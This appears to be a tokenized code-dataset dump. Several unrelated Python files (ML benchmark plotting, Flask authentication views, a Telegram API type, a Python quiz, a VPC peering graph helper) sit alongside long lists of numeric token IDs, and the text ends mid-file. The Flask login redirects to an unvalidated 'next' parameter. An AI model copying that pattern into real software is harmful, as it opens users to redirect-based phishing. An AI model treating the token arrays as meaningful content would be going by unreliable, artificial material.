8322,
29903,
379,
27267,
29901,
13,
1949,
353,
938,
29898,
2080,
877,
10399,
278,
1353,
310,
4206,
322,
4341,
363,
278,
6862,
29901,
525,
876,
13,
13,
1454,
921,
297,
3464,
29898,
29896,
29892,
954,
718,
29871,
29896,
1125,
13,
1678,
363,
343,
297,
3464,
29898,
29896,
29892,
954,
448,
29871,
29906,
718,
29871,
29896,
1125,
13,
4706,
1596,
6702,
8875,
6571,
15300,
4830,
29898,
29916,
29892,
343,
511,
1095,
2433,
1495,
13,
1678,
1596,
580,
2
] |
paper/plots.py | ii-research-yu/pgbm | 79 | 112624 | <reponame>ii-research-yu/pgbm
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 27 08:53:20 2021
@author: ospra
"""
#%%
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
sns.set(rc={'text.usetex' : True}, style='white')
# sns.set_style("white")
#%% Load values
algorithms = ['pgbm_gpu','lightgbm_cpu','ngboost_cpu']
filename = 'experiments/01_uci_benchmark/exp1_'
df = pd.DataFrame()
for algorithm in algorithms:
dfc = pd.read_csv(filename + algorithm + '.csv', index_col=0)
df = pd.concat((df, dfc), axis=0)
#%% CRPS
data = df[['method', 'dataset', 'crps_test']].copy()
data = data[data.method != 'lightgbm']
data = data[data.dataset != 'higgs']
#data['dataset'] = pd.Categorical(data.dataset, categories = ['yacht', 'boston', 'energy', 'concrete', 'wine', 'kin8nm', 'power', 'naval', 'protein','msd'])
data.columns = ['Method','Dataset','CRPS']
pgbm_median = data[data.Method == 'pgbm'].groupby(['Dataset'])['CRPS'].median()
pgbm_median.name = 'crps_test_pgbm_median'
data = pd.merge(data, pgbm_median, how='left', on='Dataset')
data['NCRPS'] = data['CRPS'] / data['crps_test_pgbm_median']
colors = ['#ff7f0e','#1f77b4','#2ca02c']
sns.set_palette(sns.color_palette(colors))
datasets = ['yacht', 'boston', 'energy', 'concrete', 'wine', 'kin8nm', 'power', 'naval', 'protein','msd']
fig, axes = plt.subplots(2, 5)
for i, ax in enumerate(fig.axes):
dataset = datasets[i]
subset = data[data.Dataset == dataset]
sns.boxplot(ax = ax, x = 'Dataset', y='NCRPS', data = subset, hue='Method', width=1, showfliers=False)
ax.set_xticks([])
ax.set_xlabel(xlabel='')
ax.set_title(label=dataset, fontsize=24)
if i == 0 or i == 5:
ax.set_ylabel(ylabel = 'CRPS', fontsize=24)
else:
ax.set_ylabel(ylabel = '', fontsize=0)
ax.tick_params(labelsize=24)
# ax.set_yticklabels(ax.get_yticks(), size = 15)
ax.spines['top'].set_color('white')
ax.spines['right'].set_color('white')
ax.legend_.remove()
handles, labels = ax.get_legend_handles_labels()
leg = fig.legend(handles, labels, loc = 'lower center', ncol=2, fontsize=24)
leg.get_frame().set_linewidth(0.0)
fig.tight_layout()
#%% RMSE
data = df[['method', 'dataset', 'rmse_test']].copy()
#data = data[data.method != 'lightgbm']
data = data[data.dataset != 'higgs']
#data['dataset'] = pd.Categorical(data.dataset, categories = ['yacht', 'boston', 'energy', 'concrete', 'wine', 'kin8nm', 'power', 'naval', 'protein','msd'])
data['method'] = pd.Categorical(data.method, categories = ['pgbm', 'ngboost', 'lightgbm'])
data.columns = ['Method','Dataset','RMSE']
pgbm_median = data[data.Method == 'pgbm'].groupby(['Dataset'])['RMSE'].median()
pgbm_median.name = 'rmse_test_pgbm_median'
data = pd.merge(data, pgbm_median, how='left', on='Dataset')
data['NRMSE'] = data['RMSE'] / data['rmse_test_pgbm_median']
colors = ['#ff7f0e','#1f77b4','#2ca02c']
sns.set_palette(sns.color_palette(colors))
datasets = ['yacht', 'boston', 'energy', 'concrete', 'wine', 'kin8nm', 'power', 'naval', 'protein','msd']
fig, axes = plt.subplots(2, 5)
for i, ax in enumerate(fig.axes):
dataset = datasets[i]
subset = data[data.Dataset == dataset]
sns.boxplot(ax = ax, x = 'Dataset', y='NRMSE', data = subset, hue='Method', width=1, showfliers=False)
ax.set_xticks([])
ax.set_xlabel(xlabel='')
ax.set_title(label=dataset, fontsize=24)
if i == 0 or i == 5:
ax.set_ylabel(ylabel = 'RMSE', fontsize=24)
else:
ax.set_ylabel(ylabel = '', fontsize=0)
ax.tick_params(labelsize=24)
ax.spines['top'].set_color('white')
ax.spines['right'].set_color('white')
ax.legend_.remove()
handles, labels = ax.get_legend_handles_labels()
leg = fig.legend(handles, labels, loc = 'lower center', ncol=3, fontsize=24)
leg.get_frame().set_linewidth(0.0)
fig.tight_layout() | [
1,
529,
276,
1112,
420,
29958,
2236,
29899,
690,
2842,
29899,
29891,
29884,
29914,
4061,
5838,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
20399,
373,
15050,
2627,
29871,
29906,
29955,
29871,
29900,
29947,
29901,
29945,
29941,
29901,
29906,
29900,
29871,
29906,
29900,
29906,
29896,
13,
13,
29992,
8921,
29901,
288,
1028,
336,
13,
15945,
29908,
13,
29937,
7686,
13,
5215,
11701,
408,
10518,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
409,
370,
1398,
408,
269,
1983,
13,
29879,
1983,
29889,
842,
29898,
2214,
3790,
29915,
726,
29889,
11616,
735,
29915,
584,
5852,
1118,
3114,
2433,
10921,
1495,
13,
29937,
269,
1983,
29889,
842,
29918,
3293,
703,
10921,
1159,
13,
29937,
7686,
16012,
1819,
13,
9564,
12404,
353,
6024,
4061,
5838,
29918,
29887,
3746,
3788,
4366,
29887,
5838,
29918,
21970,
3788,
865,
17079,
29918,
21970,
2033,
13,
9507,
353,
525,
735,
546,
7862,
29914,
29900,
29896,
29918,
29884,
455,
29918,
1785,
16580,
29914,
4548,
29896,
29918,
29915,
13,
2176,
353,
10518,
29889,
17271,
580,
13,
1454,
5687,
297,
14009,
29901,
13,
1678,
4489,
29883,
353,
10518,
29889,
949,
29918,
7638,
29898,
9507,
718,
5687,
718,
15300,
7638,
742,
2380,
29918,
1054,
29922,
29900,
29897,
13,
1678,
4489,
353,
10518,
29889,
17685,
3552,
2176,
29892,
4489,
29883,
511,
9685,
29922,
29900,
29897,
13,
29937,
7686,
15600,
7024,
13,
1272,
353,
4489,
29961,
1839,
5696,
742,
525,
24713,
742,
525,
7283,
567,
29918,
1688,
2033,
1822,
8552,
580,
13,
1272,
353,
848,
29961,
1272,
29889,
5696,
2804,
525,
4366,
29887,
5838,
2033,
13,
1272,
353,
848,
29961,
1272,
29889,
24713,
2804,
525,
29882,
335,
3174,
2033,
13,
29937,
1272,
1839,
24713,
2033,
353,
10518,
29889,
29907,
20440,
936,
29898,
1272,
29889,
24713,
29892,
13997,
353,
6024,
29891,
5860,
742,
525,
29890,
11253,
742,
525,
27548,
742,
525,
535,
9084,
742,
525,
29893,
457,
742,
525,
9089,
29947,
22882,
742,
525,
13519,
742,
525,
6654,
284,
742,
525,
14676,
262,
3788,
1516,
29881,
11287,
13,
1272,
29889,
13099,
353,
6024,
4062,
3788,
16390,
24541,
3788,
11341,
7024,
2033,
13,
4061,
5838,
29918,
2168,
713,
353,
848,
29961,
1272,
29889,
4062,
1275,
525,
4061,
5838,
13359,
27789,
18959,
16390,
24541,
11287,
1839,
11341,
7024,
13359,
2168,
713,
580,
13,
4061,
5838,
29918,
2168,
713,
29889,
978,
353,
525,
7283,
567,
29918,
1688,
29918,
4061,
5838,
29918,
2168,
713,
29915,
13,
1272,
353,
10518,
29889,
14634,
29898,
1272,
29892,
23822,
5838,
29918,
2168,
713,
29892,
920,
2433,
1563,
742,
373,
2433,
16390,
24541,
1495,
13,
1272,
1839,
29940,
11341,
7024,
2033,
353,
848,
1839,
11341,
7024,
2033,
847,
848,
1839,
7283,
567,
29918,
1688,
29918,
4061,
5838,
29918,
2168,
713,
2033,
13,
27703,
353,
6024,
29937,
600,
29955,
29888,
29900,
29872,
3788,
29937,
29896,
29888,
29955,
29955,
29890,
29946,
3788,
29937,
29906,
1113,
29900,
29906,
29883,
2033,
13,
29879,
1983,
29889,
842,
29918,
29886,
26456,
29898,
29879,
1983,
29889,
2780,
29918,
29886,
26456,
29898,
27703,
876,
13,
14538,
1691,
353,
6024,
29891,
5860,
742,
525,
29890,
11253,
742,
525,
27548,
742,
525,
535,
9084,
742,
525,
29893,
457,
742,
525,
9089,
29947,
22882,
742,
525,
13519,
742,
525,
6654,
284,
742,
525,
14676,
262,
3788,
1516,
29881,
2033,
13,
1003,
29892,
27815,
353,
14770,
29889,
1491,
26762,
29898,
29906,
29892,
29871,
29945,
29897,
13,
13,
1454,
474,
29892,
4853,
297,
26985,
29898,
1003,
29889,
1165,
267,
1125,
13,
1678,
8783,
353,
20035,
29961,
29875,
29962,
13,
1678,
11306,
353,
848,
29961,
1272,
29889,
16390,
24541,
1275,
8783,
29962,
13,
1678,
269,
1983,
29889,
1884,
5317,
29898,
1165,
353,
4853,
29892,
921,
353,
525,
16390,
24541,
742,
343,
2433,
29940,
11341,
7024,
742,
848,
353,
11306,
29892,
298,
434,
2433,
4062,
742,
2920,
29922,
29896,
29892,
1510,
20157,
414,
29922,
8824,
29897,
13,
1678,
4853,
29889,
842,
29918,
486,
7358,
4197,
2314,
13,
1678,
4853,
29889,
842,
29918,
29916,
1643,
29898,
29916,
1643,
2433,
1495,
13,
1678,
4853,
29889,
842,
29918,
3257,
29898,
1643,
29922,
24713,
29892,
4079,
2311,
29922,
29906,
29946,
29897,
13,
1678,
565,
474,
1275,
29871,
29900,
470,
474,
1275,
29871,
29945,
29901,
13,
4706,
4853,
29889,
842,
29918,
29891,
1643,
29898,
29891,
1643,
353,
525,
11341,
7024,
742,
4079,
2311,
29922,
29906,
29946,
29897,
13,
1678,
1683,
29901,
13,
4706,
4853,
29889,
842,
29918,
29891,
1643,
29898,
29891,
1643,
353,
15516,
4079,
2311,
29922,
29900,
29897,
13,
1678,
4853,
29889,
24667,
29918,
7529,
29898,
1643,
2311,
29922,
29906,
29946,
29897,
13,
1678,
396,
4853,
29889,
842,
29918,
3637,
860,
21134,
29898,
1165,
29889,
657,
29918,
3637,
7358,
3285,
2159,
353,
29871,
29896,
29945,
29897,
13,
1678,
4853,
29889,
1028,
1475,
1839,
3332,
13359,
842,
29918,
2780,
877,
10921,
1495,
29871,
13,
1678,
4853,
29889,
1028,
1475,
1839,
1266,
13359,
842,
29918,
2780,
877,
10921,
1495,
13,
1678,
4853,
29889,
26172,
5396,
5992,
580,
13,
13,
3179,
793,
29892,
11073,
353,
4853,
29889,
657,
29918,
26172,
29918,
3179,
793,
29918,
21134,
580,
13,
1397,
353,
2537,
29889,
26172,
29898,
3179,
793,
29892,
11073,
29892,
1180,
353,
525,
13609,
4818,
742,
302,
1054,
29922,
29906,
29892,
4079,
2311,
29922,
29906,
29946,
29897,
13,
1397,
29889,
657,
29918,
2557,
2141,
842,
29918,
16292,
29898,
29900,
29889,
29900,
29897,
13,
1003,
29889,
29873,
523,
29918,
2680,
580,
13,
29937,
7686,
390,
29924,
1660,
13,
1272,
353,
4489,
29961,
1839,
5696,
742,
525,
24713,
742,
525,
1758,
344,
29918,
1688,
2033,
1822,
8552,
580,
13,
29937,
1272,
353,
848,
29961,
1272,
29889,
5696,
2804,
525,
4366,
29887,
5838,
2033,
13,
1272,
353,
848,
29961,
1272,
29889,
24713,
2804,
525,
29882,
335,
3174,
2033,
13,
29937,
1272,
1839,
24713,
2033,
353,
10518,
29889,
29907,
20440,
936,
29898,
1272,
29889,
24713,
29892,
13997,
353,
6024,
29891,
5860,
742,
525,
29890,
11253,
742,
525,
27548,
742,
525,
535,
9084,
742,
525,
29893,
457,
742,
525,
9089,
29947,
22882,
742,
525,
13519,
742,
525,
6654,
284,
742,
525,
14676,
262,
3788,
1516,
29881,
11287,
13,
1272,
1839,
5696,
2033,
353,
10518,
29889,
29907,
20440,
936,
29898,
1272,
29889,
5696,
29892,
13997,
353,
6024,
4061,
5838,
742,
525,
865,
17079,
742,
525,
4366,
29887,
5838,
11287,
13,
1272,
29889,
13099,
353,
6024,
4062,
3788,
16390,
24541,
3788,
29934,
29924,
1660,
2033,
13,
4061,
5838,
29918,
2168,
713,
353,
848,
29961,
1272,
29889,
4062,
1275,
525,
4061,
5838,
13359,
27789,
18959,
16390,
24541,
11287,
1839,
29934,
29924,
1660,
13359,
2168,
713,
580,
13,
4061,
5838,
29918,
2168,
713,
29889,
978,
353,
525,
1758,
344,
29918,
1688,
29918,
4061,
5838,
29918,
2168,
713,
29915,
13,
1272,
353,
10518,
29889,
14634,
29898,
1272,
29892,
23822,
5838,
29918,
2168,
713,
29892,
920,
2433,
1563,
742,
373,
2433,
16390,
24541,
1495,
13,
1272,
1839,
16514,
29924,
1660,
2033,
353,
848,
1839,
29934,
29924,
1660,
2033,
847,
848,
1839,
1758,
344,
29918,
1688,
29918,
4061,
5838,
29918,
2168,
713,
2033,
13,
27703,
353,
6024,
29937,
600,
29955,
29888,
29900,
29872,
3788,
29937,
29896,
29888,
29955,
29955,
29890,
29946,
3788,
29937,
29906,
1113,
29900,
29906,
29883,
2033,
13,
29879,
1983,
29889,
842,
29918,
29886,
26456,
29898,
29879,
1983,
29889,
2780,
29918,
29886,
26456,
29898,
27703,
876,
13,
14538,
1691,
353,
6024,
29891,
5860,
742,
525,
29890,
11253,
742,
525,
27548,
742,
525,
535,
9084,
742,
525,
29893,
457,
742,
525,
9089,
29947,
22882,
742,
525,
13519,
742,
525,
6654,
284,
742,
525,
14676,
262,
3788,
1516,
29881,
2033,
13,
1003,
29892,
27815,
353,
14770,
29889,
1491,
26762,
29898,
29906,
29892,
29871,
29945,
29897,
13,
13,
1454,
474,
29892,
4853,
297,
26985,
29898,
1003,
29889,
1165,
267,
1125,
13,
1678,
8783,
353,
20035,
29961,
29875,
29962,
13,
1678,
11306,
353,
848,
29961,
1272,
29889,
16390,
24541,
1275,
8783,
29962,
13,
1678,
269,
1983,
29889,
1884,
5317,
29898,
1165,
353,
4853,
29892,
921,
353,
525,
16390,
24541,
742,
343,
2433,
16514,
29924,
1660,
742,
848,
353,
11306,
29892,
298,
434,
2433,
4062,
742,
2920,
29922,
29896,
29892,
1510,
20157,
414,
29922,
8824,
29897,
13,
1678,
4853,
29889,
842,
29918,
486,
7358,
4197,
2314,
13,
1678,
4853,
29889,
842,
29918,
29916,
1643,
29898,
29916,
1643,
2433,
1495,
13,
1678,
4853,
29889,
842,
29918,
3257,
29898,
1643,
29922,
24713,
29892,
4079,
2311,
29922,
29906,
29946,
29897,
13,
1678,
565,
474,
1275,
29871,
29900,
470,
474,
1275,
29871,
29945,
29901,
13,
4706,
4853,
29889,
842,
29918,
29891,
1643,
29898,
29891,
1643,
353,
525,
29934,
29924,
1660,
742,
4079,
2311,
29922,
29906,
29946,
29897,
13,
1678,
1683,
29901,
13,
4706,
4853,
29889,
842,
29918,
29891,
1643,
29898,
29891,
1643,
353,
15516,
4079,
2311,
29922,
29900,
29897,
13,
1678,
4853,
29889,
24667,
29918,
7529,
29898,
1643,
2311,
29922,
29906,
29946,
29897,
13,
1678,
4853,
29889,
1028,
1475,
1839,
3332,
13359,
842,
29918,
2780,
877,
10921,
1495,
29871,
13,
1678,
4853,
29889,
1028,
1475,
1839,
1266,
13359,
842,
29918,
2780,
877,
10921,
1495,
13,
1678,
4853,
29889,
26172,
5396,
5992,
580,
13,
13,
3179,
793,
29892,
11073,
353,
4853,
29889,
657,
29918,
26172,
29918,
3179,
793,
29918,
21134,
580,
13,
1397,
353,
2537,
29889,
26172,
29898,
3179,
793,
29892,
11073,
29892,
1180,
353,
525,
13609,
4818,
742,
302,
1054,
29922,
29941,
29892,
4079,
2311,
29922,
29906,
29946,
29897,
13,
1397,
29889,
657,
29918,
2557,
2141,
842,
29918,
16292,
29898,
29900,
29889,
29900,
29897,
13,
1003,
29889,
29873,
523,
29918,
2680,
580,
2
] |
auth/views.py | KenMwaura1/zoo_pitch | 2 | 36216 | <reponame>KenMwaura1/zoo_pitch<gh_stars>1-10
from flask import flash, render_template, redirect, request, url_for
from flask_login import login_required, login_user, logout_user
from . import auth
from .forms import UserLoginForm, UserRegForm
from app.commands import db
from app.models import User
from app.send_email import mail_message
@auth.route('/login', methods=['GET', 'POST'])
def login():
form = UserLoginForm()
if form.validate_on_submit():
user = db.session.query(User).filter_by(username=form.username.data).first()
if user is not None and user.verify_password(form.password.data):
login_user(user, form.remember.data)
return redirect(request.args.get('next') or url_for('main.index'))
flash('Invalid username or Password')
return render_template('auth/login.html', loginform=form)
@auth.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for("main.index"))
@auth.route('/signup', methods=["GET", "POST"])
def signup():
form = UserRegForm()
print(form)
if form.validate_on_submit():
user = User(email=form.email.data, username=form.username.data, password=form.password.data)
user.save_user()
mail_message("Welcome to Zoo-Pitch","email/user_welcome",user.email,user=user)
return redirect(url_for('auth.login'))
return render_template('auth/sign-up.html', reg_form=form)
| [
1,
529,
276,
1112,
420,
29958,
29968,
264,
29924,
2766,
2002,
29896,
29914,
2502,
29877,
29918,
29886,
2335,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
29784,
1053,
11013,
29892,
4050,
29918,
6886,
29892,
6684,
29892,
2009,
29892,
3142,
29918,
1454,
13,
3166,
29784,
29918,
7507,
1053,
6464,
29918,
12403,
29892,
6464,
29918,
1792,
29892,
1480,
449,
29918,
1792,
13,
3166,
869,
1053,
4817,
13,
3166,
869,
9514,
1053,
4911,
11049,
2500,
29892,
4911,
4597,
2500,
13,
3166,
623,
29889,
26381,
1053,
4833,
13,
3166,
623,
29889,
9794,
1053,
4911,
13,
3166,
623,
29889,
6717,
29918,
5269,
1053,
10524,
29918,
4906,
13,
13,
13,
29992,
5150,
29889,
13134,
11219,
7507,
742,
3519,
29922,
1839,
7194,
742,
525,
5438,
11287,
13,
1753,
6464,
7295,
13,
1678,
883,
353,
4911,
11049,
2500,
580,
13,
1678,
565,
883,
29889,
15480,
29918,
265,
29918,
7892,
7295,
13,
4706,
1404,
353,
4833,
29889,
7924,
29889,
1972,
29898,
2659,
467,
4572,
29918,
1609,
29898,
6786,
29922,
689,
29889,
6786,
29889,
1272,
467,
4102,
580,
13,
4706,
565,
1404,
338,
451,
6213,
322,
1404,
29889,
27902,
29918,
5630,
29898,
689,
29889,
5630,
29889,
1272,
1125,
13,
9651,
6464,
29918,
1792,
29898,
1792,
29892,
883,
29889,
1745,
1096,
29889,
1272,
29897,
13,
9651,
736,
6684,
29898,
3827,
29889,
5085,
29889,
657,
877,
4622,
1495,
470,
3142,
29918,
1454,
877,
3396,
29889,
2248,
8785,
13,
4706,
11013,
877,
13919,
8952,
470,
25280,
1495,
13,
1678,
736,
4050,
29918,
6886,
877,
5150,
29914,
7507,
29889,
1420,
742,
6464,
689,
29922,
689,
29897,
13,
13,
13,
29992,
5150,
29889,
13134,
11219,
1188,
449,
1495,
13,
29992,
7507,
29918,
12403,
13,
1753,
1480,
449,
7295,
13,
1678,
1480,
449,
29918,
1792,
580,
13,
1678,
736,
6684,
29898,
2271,
29918,
1454,
703,
3396,
29889,
2248,
5783,
13,
13,
13,
29992,
5150,
29889,
13134,
11219,
4530,
786,
742,
3519,
29922,
3366,
7194,
613,
376,
5438,
20068,
13,
1753,
1804,
786,
7295,
13,
1678,
883,
353,
4911,
4597,
2500,
580,
13,
1678,
1596,
29898,
689,
29897,
13,
1678,
565,
883,
29889,
15480,
29918,
265,
29918,
7892,
7295,
13,
4706,
1404,
353,
4911,
29898,
5269,
29922,
689,
29889,
5269,
29889,
1272,
29892,
8952,
29922,
689,
29889,
6786,
29889,
1272,
29892,
4800,
29922,
689,
29889,
5630,
29889,
1272,
29897,
13,
4706,
1404,
29889,
7620,
29918,
1792,
580,
13,
4706,
10524,
29918,
4906,
703,
28862,
2763,
304,
796,
3634,
29899,
29925,
2335,
3284,
5269,
29914,
1792,
29918,
20466,
2763,
613,
1792,
29889,
5269,
29892,
1792,
29922,
1792,
29897,
13,
4706,
736,
6684,
29898,
2271,
29918,
1454,
877,
5150,
29889,
7507,
8785,
13,
1678,
736,
4050,
29918,
6886,
877,
5150,
29914,
4530,
29899,
786,
29889,
1420,
742,
1072,
29918,
689,
29922,
689,
29897,
13,
2
] |
aiotdlib/api/types/group_call_id.py | jraylan/aiotdlib | 37 | 149197 | <filename>aiotdlib/api/types/group_call_id.py
# =============================================================================== #
# #
# This file has been generated automatically!! Do not change this manually! #
# #
# =============================================================================== #
from __future__ import annotations
from pydantic import Field
from ..base_object import BaseObject
class GroupCallId(BaseObject):
"""
Contains the group call identifier
:param id: Group call identifier
:type id: :class:`int`
"""
ID: str = Field("groupCallId", alias="@type")
id: int
@staticmethod
def read(q: dict) -> GroupCallId:
return GroupCallId.construct(**q)
| [
1,
529,
9507,
29958,
1794,
327,
29881,
1982,
29914,
2754,
29914,
8768,
29914,
2972,
29918,
4804,
29918,
333,
29889,
2272,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
2751,
29922,
396,
13,
29937,
462,
462,
462,
462,
462,
396,
13,
29937,
1678,
910,
934,
756,
1063,
5759,
6336,
6824,
1938,
451,
1735,
445,
7522,
29991,
1678,
396,
13,
29937,
462,
462,
462,
462,
462,
396,
13,
29937,
1275,
9166,
9166,
9166,
9166,
4936,
2751,
29922,
396,
13,
3166,
4770,
29888,
9130,
1649,
1053,
25495,
13,
13,
3166,
282,
2941,
7716,
1053,
8989,
13,
13,
3166,
6317,
3188,
29918,
3318,
1053,
7399,
2061,
13,
13,
13,
1990,
6431,
5594,
1204,
29898,
5160,
2061,
1125,
13,
1678,
9995,
13,
1678,
2866,
2708,
278,
2318,
1246,
15882,
13,
268,
13,
1678,
584,
3207,
1178,
29901,
6431,
1246,
15882,
13,
1678,
584,
1853,
1178,
29901,
584,
1990,
18078,
524,
29952,
13,
268,
13,
1678,
9995,
13,
13,
1678,
3553,
29901,
851,
353,
8989,
703,
2972,
5594,
1204,
613,
13995,
5213,
1853,
1159,
13,
1678,
1178,
29901,
938,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1303,
29898,
29939,
29901,
9657,
29897,
1599,
6431,
5594,
1204,
29901,
13,
4706,
736,
6431,
5594,
1204,
29889,
11433,
29898,
1068,
29939,
29897,
13,
2
] |
quiz06.py | hamukazu/python_quiz | 10 | 1601133 | #######################################
# Counterクラスの使い方
#######################################
from collections import Counter
# 引数に単語のリストが与えられたときに、各単語の出現数を表すCounterオブジェクトを返せ
# 例:["a","b","a","b","c"] => Counter({"a":3, "b":2, "c":1})
# 以下を書きかえる
def f1(l):
return Counter()
# ここまでを書きかえる
#######################################
# 正規表現
#######################################
import re
# 引数として与えらた文字列の行頭からスペースまでを削除したものを返せ
# 例:"abcd efg" => "efg"
# 以下を書きかえる
def g1(s):
return ""
# ここまでを書きかえる
# 引数として与えらた文字列の行末から続く英小文字の並びを削除したものを返せ
# 例:
# "abcDefg" => "abcD"
# "abc1234efg" => "abc1234"
# 以下を書きかえる
def g2(s):
return ""
# ここまでを書きかえる
c = f1(list("abcabcabcadef"))
assert (c["a"] == 4 and c["b"] == 3 and c["c"] == 3
and c["d"] == 1 and c["e"] == 1 and c["f"] == 1)
assert g1("xyz abc") == "abc"
assert g2("xyz!abc") == "xyz!"
print("OK")
| [
1,
835,
13383,
13383,
4136,
13,
29937,
315,
5336,
30305,
30281,
30255,
30199,
30785,
30298,
30525,
13,
13383,
13383,
4136,
2277,
29937,
13,
13,
3166,
16250,
1053,
315,
5336,
13,
13,
29937,
29871,
31674,
30354,
30353,
232,
144,
155,
30968,
30199,
30303,
30255,
30279,
30458,
31267,
30914,
30513,
30553,
30366,
30364,
30538,
30353,
30330,
232,
147,
135,
232,
144,
155,
30968,
30199,
30544,
31928,
30354,
30396,
30746,
30427,
17779,
30514,
30582,
30391,
30887,
30305,
30279,
30396,
31086,
31095,
13,
29937,
29871,
31507,
30383,
3366,
29874,
3284,
29890,
3284,
29874,
3284,
29890,
3284,
29883,
3108,
1149,
315,
5336,
3319,
29908,
29874,
1115,
29941,
29892,
376,
29890,
1115,
29906,
29892,
376,
29883,
1115,
29896,
1800,
13,
13,
13,
29937,
29871,
30651,
30557,
30396,
30854,
30538,
30412,
30914,
30332,
13,
1753,
285,
29896,
29898,
29880,
1125,
13,
1678,
736,
315,
5336,
580,
13,
29937,
29871,
30589,
30589,
30441,
30499,
30396,
30854,
30538,
30412,
30914,
30332,
13,
13,
13,
13383,
13383,
4136,
2277,
29937,
13,
29937,
29871,
30724,
235,
169,
146,
30746,
31928,
13,
13383,
13383,
4136,
2277,
29937,
13,
13,
5215,
337,
13,
29937,
29871,
31674,
30354,
30364,
30326,
30466,
11,
31267,
30914,
30513,
30366,
30333,
30578,
31025,
30199,
30448,
31876,
30412,
30513,
30255,
31501,
30185,
30255,
30441,
30499,
30396,
232,
140,
141,
31152,
30326,
30366,
30723,
30199,
30396,
31086,
31095,
13,
29937,
29871,
31507,
30383,
29908,
370,
2252,
321,
16434,
29908,
1149,
376,
1389,
29887,
29908,
13,
13,
13,
29937,
29871,
30651,
30557,
30396,
30854,
30538,
30412,
30914,
30332,
13,
1753,
330,
29896,
29898,
29879,
1125,
13,
1678,
736,
5124,
13,
29937,
29871,
30589,
30589,
30441,
30499,
30396,
30854,
30538,
30412,
30914,
30332,
13,
13,
29937,
29871,
31674,
30354,
30364,
30326,
30466,
11,
31267,
30914,
30513,
30366,
30333,
30578,
31025,
30199,
30448,
233,
159,
174,
30412,
30513,
234,
185,
157,
30568,
31144,
30446,
30333,
30578,
30199,
231,
187,
169,
31298,
30396,
232,
140,
141,
31152,
30326,
30366,
30723,
30199,
30396,
31086,
31095,
13,
29937,
29871,
31507,
30383,
13,
29937,
29871,
376,
10736,
3206,
29887,
29908,
1149,
376,
10736,
29928,
29908,
13,
29937,
29871,
376,
10736,
29896,
29906,
29941,
29946,
1389,
29887,
29908,
1149,
376,
10736,
29896,
29906,
29941,
29946,
29908,
13,
13,
13,
29937,
29871,
30651,
30557,
30396,
30854,
30538,
30412,
30914,
30332,
13,
1753,
330,
29906,
29898,
29879,
1125,
13,
1678,
736,
5124,
13,
29937,
29871,
30589,
30589,
30441,
30499,
30396,
30854,
30538,
30412,
30914,
30332,
13,
13,
13,
29883,
353,
285,
29896,
29898,
1761,
703,
10736,
10736,
370,
1113,
1753,
5783,
13,
9294,
313,
29883,
3366,
29874,
3108,
1275,
29871,
29946,
322,
274,
3366,
29890,
3108,
1275,
29871,
29941,
322,
274,
3366,
29883,
3108,
1275,
29871,
29941,
13,
4706,
322,
274,
3366,
29881,
3108,
1275,
29871,
29896,
322,
274,
3366,
29872,
3108,
1275,
29871,
29896,
322,
274,
3366,
29888,
3108,
1275,
29871,
29896,
29897,
13,
9294,
330,
29896,
703,
20230,
25638,
1159,
1275,
376,
10736,
29908,
13,
9294,
330,
29906,
703,
20230,
29991,
10736,
1159,
1275,
376,
20230,
3850,
13,
2158,
703,
8949,
1159,
13,
2
] |
laceworkreports/cli/ReportHandlers/VpcChartHandler/VpcChartHelper.py | laceworkps/laceworkreports | 0 | 171824 | <reponame>laceworkps/laceworkreports<filename>laceworkreports/cli/ReportHandlers/VpcChartHandler/VpcChartHelper.py<gh_stars>0
import csv
import logging
import matplotlib.pyplot as plt
import networkx
def build_graph(nodes, edges):
Graph = networkx.Graph()
labeldict = {}
values = set()
for node in nodes:
Graph.add_node(node["RESOURCE_ID"])
label_val = (
node["RESOURCE_TAGS"]["Name"]
if "Name" in node["RESOURCE_TAGS"] and node["RESOURCE_TAGS"]["Name"] != ""
else node["RESOURCE_ID"]
)
# handle cases with duplicate labels, fallback where needed to resource_id
if label_val in values:
# if the value is a dupe. flip it to be the VPC resource_id for both occurrences
labeldict[node["RESOURCE_ID"]] = node["RESOURCE_ID"]
for key in labeldict:
if labeldict[key] == label_val:
labeldict[key] = key
else:
labeldict[node["RESOURCE_ID"]] = label_val
values.add(label_val)
# filter to only add edges for the vpc in question
for edge in edges:
Graph.add_edge(
edge["RESOURCE_CONFIG"]["AccepterVpcInfo"]["VpcId"],
edge["RESOURCE_CONFIG"]["RequesterVpcInfo"]["VpcId"],
)
for n in Graph.nodes:
if n not in labeldict:
# theory -- there are currently peerings to VPCs that are not onboarded with Lacework
labeldict[n] = n
return (Graph, labeldict)
def build_target_vpc_output(vpc, nodes, edges, output_directory):
pruned_node_set = set()
edges = [
edge
for edge in edges
if (
edge.get("RESOURCE_CONFIG") is not None
and edge["RESOURCE_CONFIG"]["AccepterVpcInfo"]["VpcId"] == vpc
)
or (
edge.get("RESOURCE_CONFIG") is not None
and edge["RESOURCE_CONFIG"]["RequesterVpcInfo"]["VpcId"] == vpc
)
]
for edge in edges:
pruned_node_set.add(edge["RESOURCE_CONFIG"]["AccepterVpcInfo"]["VpcId"])
pruned_node_set.add(edge["RESOURCE_CONFIG"]["RequesterVpcInfo"]["VpcId"])
nodes = [node for node in nodes if node["RESOURCE_ID"] in pruned_node_set]
if logging.root.level == logging.DEBUG:
logging.debug(f"\nParent VPC: {vpc}")
for node in nodes:
if node["RESOURCE_ID"] != vpc:
logging.debug(
f"\tChild: {node['RESOURCE_ID']} {node['RESOURCE_REGION']} {node['ACCOUNT_ID']} {node['ACCOUNT_ALIAS']} {node['ARN']} {node['RESOURCE_CONFIG']['CidrBlock']}"
)
Graph, labeldict = build_graph(nodes, edges)
pos = networkx.kamada_kawai_layout(Graph)
if len(nodes) < 10:
plt.figure(figsize=(10, 10), dpi=100)
plt.margins(0.2)
elif len(nodes) < 20:
plt.figure(figsize=(20, 20), dpi=150)
elif len(nodes) < 50:
plt.figure(figsize=(25, 25), dpi=200)
elif len(nodes) < 100:
plt.figure(figsize=(30, 30), dpi=200)
else:
plt.figure(figsize=(50, 50), dpi=200)
